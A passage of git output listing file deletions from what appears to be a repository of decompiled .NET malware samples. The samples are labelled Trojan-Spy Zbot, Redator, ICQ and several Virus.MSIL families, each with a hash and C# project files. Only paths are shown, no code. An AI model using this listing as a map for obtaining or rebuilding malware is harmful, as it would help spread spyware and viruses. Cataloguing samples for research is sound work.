MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0007/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_003CModule_003E.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/{22542804-11a8-4fba-88a0-b451cddbacb6} delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/buffy.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/pizde.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/buffy.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/pizde.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/buffy.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/pizde.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/buffy.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/pizde.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccb.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/FZyIKqFyuZaIAgE.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/MNtJNtuVmVIvLNzGAlMm.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.sln delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Resources.resx delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.csproj delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.sln delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.cs delete mode 100644 MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.resx delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/1286ccb9-01dc-498b-84d2-3a004b81419d delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/R_K/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/R_K/Resources.resx delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.csproj delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.sln delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E.cs delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E{47562485-194B-4BC9-B0DC-38EFC00B1.cs delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/a386bc81-f6ca-4da3-93b0-b3ee6391dc7c delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/a6538a39-a489-4fc0-b71d-56342f265087 delete mode 100644 MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/​  ​      ​ delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/ExecRegedit.cs delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.cs delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.resx delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Program.cs delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.cs delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Resources.resx delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Properties/Settings.cs delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.csproj delete mode 100644 MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Virus.MSIL.Autorun.a.sln delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/MainApp.cs delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.csproj delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/Virus.MSIL.Gastropod.sln delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e/kckelhvxlr/xrieopydqqcD.cs delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/MainApp.cs delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.csproj delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.sln delete mode 100644 MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/zwuUkpmiAMoxhf/lapixb.cs delete mode 100644 MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Loki.cs delete mode 100644 MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Program.cs delete mode 100644 MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.csproj delete mode 100644 MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.sln delete mode 100644 MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AT.cs delete mode 100644 MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.csproj delete mode 100644 MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Hello.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Baizah.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/MainVirus.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Module1.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Module1.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Program.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.resx delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/DamneiVirus.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Module1.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyApplication.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyComputer.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyProject.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettings.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettingsProperty.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/Resources/Resources.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Resources.resx delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Program.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Snoopy.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/AssemblyInfo.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Form1.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.resx delete mode 100644 